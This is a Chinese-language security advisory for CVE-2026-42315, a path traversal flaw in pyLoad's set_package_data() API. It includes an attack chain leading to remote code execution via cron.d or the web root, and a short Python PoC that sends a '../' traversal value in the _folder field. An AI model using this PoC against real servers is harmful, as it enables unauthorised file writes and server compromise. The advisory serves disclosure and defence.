IPBUF安全漏洞报告
English
CVE-2026-42315 CVSS 8.1 高危

CVE-2026-42315 pyLoad 任意目录写入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42315
漏洞类型
路径遍历
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
pyLoad

相关标签

路径遍历任意文件写入pyLoadCVE-2026-42315

漏洞概述

pyLoad是一个Python开源下载管理器。在0.5.0b3.dev100版本前,`set_package_data()` API中的`_folder`参数缺乏过滤,导致拥有`Perms.MODIFY`权限的用户可指定任意目录作为下载位置。攻击者可利用此漏洞将文件写入敏感路径,破坏系统完整性或导致远程代码执行。

技术细节

该漏洞的核心在于输入验证缺失。在`set_package_data()`接口处理逻辑中,程序直接使用了用户提交的`_folder`参数值,未对其进行路径规范化(如解析`../`)或白名单校验。由于攻击者只需具备低权限(Perms.MODIFY)即可触发该漏洞,他们可以通过构造包含路径遍历字符(例如`../../`)或绝对路径的请求,强制将下载的文件保存到服务器的任意敏感位置(如Web根目录、启动脚本目录等)。配合下载恶意文件的功能,此路径遍历漏洞可进一步升级为远程代码执行漏洞(RCE),从而完全控制服务器。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取pyLoad的低权限账户凭证,该账户需具备Perms.MODIFY权限。
STEP 2
2. 发送恶意请求
攻击者向`set_package_data` API接口发送POST请求,在参数`_folder`中注入路径遍历字符(如`../`),指向敏感目录。
STEP 3
3. 写入恶意文件
服务器处理请求时未过滤路径,将下载的文件保存至攻击者指定的任意位置。
STEP 4
4. 执行攻击
若文件被写入系统关键目录(如cron.d或Web根目录),攻击者可进一步实现远程代码执行或篡改网页内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://localhost:8000/api/set_package_data" # Payload data # The vulnerability lies in the "_folder" key not being sanitized payload = { "package_id": "test_package", "data": { "_folder": "../../../../tmp/malicious_path" } } # Session cookie or token for authentication (Perms.MODIFY required) cookies = { "pyload_session": "valid_session_cookie_here" } try: response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] PoC executed successfully. Check if directory traversal worked.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

pyLoad < 0.5.0b3.dev100

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用相关API接口或通过WAF规则拦截包含`../`等路径遍历字符的请求参数。

参考链接